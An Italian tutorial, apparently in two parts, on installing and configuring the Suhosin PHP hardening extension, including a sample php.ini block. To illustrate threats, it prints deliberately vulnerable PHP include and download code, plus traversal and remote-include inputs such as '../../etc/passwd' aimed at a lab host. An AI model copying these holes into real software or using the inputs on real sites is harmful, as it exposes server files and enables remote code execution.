Suhosin, angelo custode in coreano del Sud, è un hardener per PHP, ovvero un software che si frappone, per così dire, tra l'utente ed il programma Web PHP nell'intento di fornire funzionalità atte a raggiungere una maggior sicurezza.
Suhosin mette a disposizione funzionalità basilari, dedicate alla difesa dei programmi PHP a fronte di codice mal scritto (input utente poco o per nulla validato), ed avanzate, quali la cifratura di file di sessione e cookie ed il controllo preventivo dei file caricati tramite upload, peculiarità apprezzate anche dai programmatori/sistemisti più avanzati ed attenti alla sicurezza dei loro prodotti informatici.
Nell'hardening di programmi PHP, Suhosin di Hardened-PHP Project rientra di diritto nella lista delle tecnologie da adottare a difesa perenne e fedele del software, in unione con una programmazione conscia, una rete ed un server adeguatamente configurati ed un firewall di livello applicativo. Tutto questo affinché il solito lamer genio quindicenne non abbia ancora a rovinare le giornate ai - già abbastanza oberati di lavoro - programmatori Web.
Esistono due versioni dell'hardener Suhosin, una patch ed un'estensione standard PHP. La prima ha come fine la protezione da buffer overflow dello stesso interprete PHP, mentre la seconda rappresenta un caleidoscopio di funzionalità utili.
Per applicare la patch è necessario ricompilare i sorgenti di PHP, ciò che potrebbe rompere però la compatibilità con altri componenti software. C'è da dire, tuttavia, che Zend Optimizer ed APC, le due più importanti tecnologie a stretto servizio di PHP (a mio avviso) funzionano senza far una piega.
Nella trattazione descriverò, in ogni modo, l'installazione e l'utilizzo teorico e pratico, convalidato da oltre un mese di "prova su strada" su server di produzione, dell'estensione PHP, escludendo le funzionalità ancora in stato sperimentale ed includendo solamente le più utili o innovative.
L'estensione Suhosin è stata testata su programmi Web PHP proprietari complessi, su server Linux Debian4 con installazioni A2M5P5 (per PHP5 è presente stabilmente anche l'"ottimizzatore" APC). Come annotazione, va infine detto che, secondo l'autore, il calo massimo di prestazioni medie utilizzando sia estensione che patch risulta in una diminuita velocità del 9%.
Per una lista completa delle funzionalità si rimanda al sito Web del progetto,
Installazione
Sull'installazione non spenderemo fiumi di parole. Da un server LAMP Debian o equivalente correttamente funzionante e configurato, digitare apt-get install php5-suhosin
come root. Questo è tutto. Per quanti fossero invece interessati a come installare anche la patch, consiglio un HowTo molto ben fatto. proseguiamo con la configurazione.
Configurazione
A completamento della semplicissima installazione, viene creato il file /etc/php5/conf.d/suhosin.ini che abilita di fatto l'estensione:
extension=suhosin.so
I file in conf.d/ su Debian affiancano il php.ini nella configurazione ed abilitazione delle estensioni PHP.
Di qui in avanti, e per il prosieguo dell'articolo, vedremo alcune delle principali funzionalità di Suhosin, distinte per tipologia di effetto.
Executor Options
Attacchi di tipo path traversal
Come spiegato nella Guida sicurezza di PHP, un codice analogo al seguente può portare ad includere (ed eseguire) script remoti pericolosi od indurre altresì l'interprete PHP a visualizzare (su browser) file interni al filesystem del server (sui quali ovviamente l'utente con cui PHP viene eseguito abbia i permessi di lettura):
<?php
require_once($_GET['include_me']);
// codice;
?>
Se infatti da browser inseriamo come parametro qualcosa del tipo: ../../etc/passwd, vedremo visualizzarsi la lista degli utenti interni al sistema (psoto che il file index.php stia in /var/www/).
Identicamente possiamo ottenere lo stesso effetto codificando in URL-encode (. = %2e e / = %2f) la stringa ed ottenendo: %2e%2e%2f%2e%2e%2fetc%2fpasswd.
La direttiva suhosin.executor.include.max_traversal
di Suhosin definisce il numero massimo di "../ "nei comandi PHP di inclusione considerato non malevolo. Ad esempio un valore di 2 bloccherebbe entrambi i tentativi di cracking appena menzionati:
suhosin.executor.include.max_traversal = 2
ma non, ad esempio, la visualizzazione di file interni alla directory /var, per i quali occorrerebbe impostare un valore minore; purtroppo, però, è altamente probabile che un valore di max_traversal = 1 crei problemi con la normale esecuzione del programma, ed ovviamente anche il valore 2 è da testare prima del deploy.
Suhosin è quindi da considerarsi, a tali fini, un palliativo e non un rimedio completamente efficace, ciò che invece è quanto descritto nella Guida.
Annoto che la direttiva open_basedir
(la quale blocca anch'essa l'exploit) viene elaborata in seguito. In relazione al primo esempio, Suhosin blocca appunto l'inclusione ed annota il suo operato nel syslog:
ALERT - Include filename ('../../etc/passwd') contains too many '../' (attacker '192.168.0.24', file '/var/www/index.php', line 2)
Inclusioni dinamiche (1)
Fermo rimanendo il codice estremamente pericoloso indicato sopra, la chiamata: http://vm2/index.php?include_me=http://192.168.0.24/include.php porta all'inclusione ed esecuzione dello script remoto (in questo caso residente su un altro Web server in LAN) include.php (se non abbiamo istruito il server su 192.168.0.24 di eseguire script PHP e se allow_url_fopen
del server vm2 è ad On).
La buona notizia è che Suhosin blocca per default inclusioni di questo tipo (ed in questo caso in modo completamente soddisfacente):
ALERT - Include filename ('http://192.168.0.24/include.php') is an URL that is not allowed (attacker '192.168.0.24', file '/var/www/index.php', line 2)
Gli URL schema abilitati devono essere infatti espressamente indicati, tramite la direttiva: suhosin.executor.include.whitelist
. Ad Esempio:
suhosin.executor.include.whitelist = http://,...
Inclusioni dinamiche (2)
Se register_globals
è attivo un codice che si presta ad inclusioni dinamiche è anche il seguente:
<?php
include($MyDIR."/mypage.php");
// eccetera;
?>
La chiamata http://vm2/index.php?MyDIR=http://192.168.0.24 fa in modo che mypage.php venga scaricata dal Web server del cracker anziché dal filesystem locale (ciò che era, immaginiamo, nelle intenzioni del programmatore).
Ma Suhosin non viene tratto in inganno:
ALERT - Include filename ('http://192.168.0.24/mypage.php') is an URL that is not allowed (attacker '192.168.0.24', file '/var/www/index.php', line 2)
A proposito: i log di Suhosin (che per default conferiscono nel syslog) contengono l'IP del (possibile) attaccante. Tale indirizzo IP è ricavato dalla variabile server REMOTE_ADDR
; la direttiva suhosin.log.use-x-forwarded-for
modifica invece opportunamente il comportamento del programma qualora il Web server stia dietro ad un reverse proxy (non configurato per essere totalmente trasparente).
Altro attacco di tipo path traversal
Un HTTP force-download non validato, assieme alla pessima pratica di passare in GET/POST i nomi dei file anziché i loro identificativi numerici (id, poi processati opportunamente dall'applicazione in relazione ai diritti dell'utente loggato) può portare ad un exploit come qui decritto. Vediamo assieme il codice:
<?php
function force_download($percorso_file)
{
$dimensione_file = filesize($percorso_file);
$nome_file = trim(substr($percorso_file,strrpos($percorso_file,"/")+1,strlen($percorso_file)));
$estensione = trim(strtolower(substr($nome_file,strrpos($nome_file,".")+1,strlen($percorso_file))));
if ($dimensione_file>0 && $nome_file!="" && is_readable($percorso_file))
{
header("Content-Type: application/force-download; name="".$nome_file.""");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".$dimensione_file);
header("Content-Disposition: attachment; filename="".$nome_file.""");
header("Expires: 0");
header("Cache-Control: no-cache, must-revalidate");
header("Cache-Control: private");
header("Pragma: public");
readfile($percorso_file);
}
else return false;
}
// main;
$file = urldecode($_GET['myfile']);
force_download("/var/www/files/".$file);
?>
Procediamo alla chiamate dell'URL http://vm2/test.php?myfile=../../../etc/passwd. Senza validazione (o corrette impostazioni di open_basedir
, chroot
, eccetera) e senza Suhosin, l'effetto è emblematicamente descritto dall'immagine visibile qui sotto..
La problematica più macroscopica sta però nel poter, in questo modo, scaricare e visualizzare script PHP del programma web contenuti nella direcotry www: http://vm2/test.php?myfile=../test.php e ciò è da impedirsi unicamente con controlli opportuni nel software (né open_basedir
, né Suhosin né un chroot
possono evidentemente far nulla).
Nella successiva parte dell'articolo vedremo approfonditamente altre direttive e altre opzioni di questo fondamentale strumento di sicurezza.
Nella prima parte dell'articolo abbiamo introdotto Suhosin, un professionale hardener di PHP, e suggerito una basilare configurazione. In questa seconda parte descriveremo analiticamente le sue principali direttive di configurazione.
Alcune altre direttive di tipo executor
suhosin.executor.func.whitelist
suhosin.executor.func.blacklist
Le direttive definiscono rispettivamente la lista (separata dalla virgola) di funzioni abilitate ad esser chiamate dall'interprete PHP e la lista della funzioni proibite. La blacklist viene valutata solo se la whitelist è vuota, altrimenti chiamare una funzione non presente nella whitelist terminerà lo script e loggerà la condizione di errore. Esiste già una tale funzionalità di PHP, definita dal php.ini, ma qui si ha la possibilità di decidere se usare la logica "tutto abilitato, proibisco solo ciò che so esser (potenzialmente) dannoso" oppure "abilito solo ciò che so esser sicuramente non pericoloso".
suhosin.executor.disable_eval
L'istruzione eval()
mal utilizzata potrebbe portare a vulnerabilità del programma web; l'autore considera il suo potenziale negativo talmente alto che ad essa dedica tre direttive. Tramite la presente è possibile disabilitare completamente tale funzione PHP.
suhosin.executor.eval.whitelist e suhosin.executor.eval.blacklist
Se eval()
è abilitata (come da default, comunque), le direttive definiscono rispettivamente la lista (separata dalla virgola) di funzioni abilitate ad esser chiamate da eval()
e la lista della funzioni proibite. Come sopra, la blacklist viene valutata solo se la whitelist è vuota.
suhosin.executor.disable_emodifier
Disabilita il modificatore /e
nel preg_replace()
, ciò che potrebbe portare ad exploit di tipo esecuzione di codice.
suhosin.executor.allow_symlink
Suhosin disabilita per default i link simbolici all'esterno delle cartelle di dominio quando la direttiva open_basedir
è abilitata, dacché ciò porta di fatto a "bypassare" la direttiva PHP stessa. suhosin.executor.allow_symlink
riabilita, volendo e volendo anche "poco bene" alla "salute" del server, la possibilità di seguire link simbolici.
Filtering options
suhosin.upload.verification_script
Questa funzionalità dovrebbe fornire il supporto per uno script di validazione degli upload: ogni file caricato può esser verificato, secondo qualsivoglia criterio il programmatore desideri (grandezza reale, presenza di virus ed altro), prima di esser passato all'interprete PHP (e quindi allo script di effettiva destinazione). Il problema è che non funziona.. Sono tutt'ora in attesa di lumi dal programmatore, cui ho fornito le indicazioni necessarie. Ho annoverato tuttavia questa direttiva perché è da considerarsi decisamente interessante.
suhosin.upload.disallow_elf
Se ad On, la direttiva inibisce il caricamento di file eseguibili ELF (binari eseguibili *Nix). Un tentativo di upload di tale tipologia di file viene impedito e registrato su syslog:
ALERT - uploaded file is an ELF executable - file dropped (attacker '192.168.0.24', file '/var/www/my_prog/my_upload.php')
Transparent Encryption Options (sessioni)
File di sessione su server
La problematica principale (se non unica) relativa ai file di sessione su server consiste nella riservatezza e nell'integrità degli stessi quando più applicazioni (considerabili logicamente distinte, ad esempio più siti web sottesi a più virtual host) condividono uno stesso server. In tal caso è generalmente possibile (in ordine crescente di sicurezza):
- Differenziare la cartella di salvataggio delle sessioni da programma a programma, in unione con la direttiva
open_basedir
usata distintamente per virtual host (Apache) od in unione conmod_suExec
; - Inserire le sessioni su database;
- Creare uno spazio distinto per ogni applicazione tramite
chrooting
; - Utilizzare una rete di server virtuali o fisici, uno per ogni programma (od insieme di programmi) PHP.
Suhosin dà un'alternativa ulteriore: cifrare trasparentemente tali file di sessione, così che un'applicazione non possa interpretare i contenuti lì scritti da un'altra, alternativa che si pone più o meno al secondo livello della scala su detta. La direttiva suhosin.session.encrypt = On abilita la cifratura trasparente (attiva di default, tra l'altro). Visualizziamo ad esempio un file di sessione.
File di sessione prima
SupportedFormats|s:159:".jpg, .tif, .doc, .ppt, .xls, .rtf, .pdf, .txt, .log, .ps, .htm, .odt, .ott, .sxw, .stw, .ods, .ots, .sxc, .stc, .sdc, .odp, .otp, .sxi, .sti, .sxd, .sda, .sdd";ApplicationsPath|s:20:"/var/www/archinizer/";OOPath|s:28:"/usr/lib/openoffice/program/";OOPythonSource|s:6:"python"; ConvertPath|s:7:"convert";ps2pdfPath|s:1:".";PerlPath|s:4:"perl";ModifyOpenDOCS|s:3:"all";FreeFileSystemOnDocDelete|s:2:"no"; SharedActiveFaxDir|s:5:"/tmp/fax/";Username|s:9:"marco";UserAuth|s:1:"a";UserId|s:1:"1";UserGroup|s:1:"1";UserRealName|s:9:"Marco Buratto"; [...]
File di sessione dopo
lMQey7Antfs-ADAkeYkemc8T32nAbO8bUQjv1l483-qjiRyXRHCT31K4iOsOpc_UX4U4fAVOQ7JFt-mBXV2_WGtciqea64DlXLoXDbqXSPZVN1cqVPIAeXb4hMIikWctzVtvkRRcRhx6ejiqPMmQ_ Ks2dalM77_UzT70x7gXnMlseNZS0QDWcReMpLixf5iexTG7TF5nt2EJVJjmn_bEW7HxxK4AGWCCJsnVu81ADr-5QCNuiAHjnlyvJft8ssPimOUklA0fstRDj2SHQ3HctrImDjbZ01VZ3jXyJpPiC 2vFEe0h66RqZ0AoO8POmejc0fN84QeLvQyrZbQOd6BHjYoD5eI9VFz5CeiDzWbvJOaLHl8axdLmrXElJg2-mPNCXkzH3vnrhSX_zJ-hXWN6g5sOGoIXaKgBckb1_kfkqi0wh7JjRCUcy5xxLMql1 [...]
La direttiva suhosin.session.cryptua definisce se la chiave dell'algoritmo di cifratura dipende anche dal campo HTTP (header) User-Agent, così da aggiungere un ulteriore piccolo livello di protezione.
Sconsiglio però di abilitare questa opzione in quanto definirebbe come non validi ID di sessione inviati (ad esempio) da applet Java per il caricamento di più file tramite drag & drop e progress bar, come RadUpload, poiché il loro User-Agent inviato è diverso da quello inviato dal browser. Tali applet sarebbero conseguentemente inibite dall'essere associate ai relativi file di sessione (associati inizialmente alle pagine PHP relative al login) ed il controllo di sessione salterebbe. Caso analogo per chiamate XML-RPC "autenticate".
La direttiva suhosin.session.cryptdocroot definisce se la chiave dell'algoritmo di cifratura dipende anche dalla document root. Abilitarlo non costa nulla, ma non credo dia evidenti benefici. Sono infine presenti direttive sul controllo dell'indirizzo IP: poiché questo controllo, come sempre, può dare falsi positivi e negativi, consiglio di non abilitarlo.
Session ID
Le problematiche relative agli identificativi di sessione passati via cookie (o via URL, se vogliamo farci del male a tutti i costi) sono essenzialmente riconducibili al loro riutilizzo indebito da parte di attaccanti, al fine di impersonificare l'utente legittimo nelle aree riservate di un dato programma Web.
Cifrare il contenuto dei cookie (suhosin.cookie.encrypt = On) in dipendenza delle direttiva suhosin.cookie.cryptua fa sì che Suhosin faccia controlli automaticamente e trasparentemente sul browser che passa tali cookie senza che il programmatore debba prevedere suoi controlli sullo User-Agent.
Ciò detto, la soluzione "definitiva" rimane il tunneling SSL con certificato universalmente valido e con utilizzatori informaticamente istruiti.
Opzioni varie
suhosin.memory_limit
La direttiva memory_limit del php.ini definisce la quantità massima di memoria RAM che uno script PHP può utilizzare prima di esser ucciso dall'interprete stesso: rappresenta una prima necessaria misura contro un "auto-DoS" del server. Una problematica connessa è che la direttiva medesima può esser modificata praticamente ovunque, persino negli script PHP; suhosin.memory_limit = 0, intelligentemente, evita che gli script del programma PHP possano modificare la memory_limit: la modifica rimane possibile solo all'atto della configurazione del server.
Un valore maggiore di zero, diciamo uguale a Y, oltretutto, implica che Suhosin impedirà agli script di metter mano al limite di memoria e portarlo al di sopra di Y (MB, con Y>memory_limit, studiato apposta per possibili script "spreconi").
suhosin.multiheader
Al fine di evitare un HTTP response splitting, tale direttiva controlla se più header HTTP sono ammessi o meno in un unico comando di header().
Configurazione personale
Qui di seguito trovate, per comodità, un esempio finale di una possibile configurazione (da inserirsi nel file php.ini) di Suhosin.
[Suhosin]
suhosin.executor.include.max_traversal = 2
;suhosin.executor.include.whitelist = http://
suhosin.executor.disable_eval = On
suhosin.executor.disable_emodifier = On
suhosin.executor.allow_symlink = Off
suhosin.upload.disallow_elf = On
suhosin.session.encrypt = On
suhosin.session.cryptua = Off ; attenzione applet JAVA!
suhosin.session.cryptdocroot = On
suhosin.cookie.encrypt = On
suhosin.cookie.cryptua = On
suhosin.cookie.cryptdocroot = On
suhosin.memory_limit = 0
suhosin.multiheader = Off
;suhosin.upload.verification_script = /var/www/etc/__verifica_upload.php // vivremo e vederemo ;)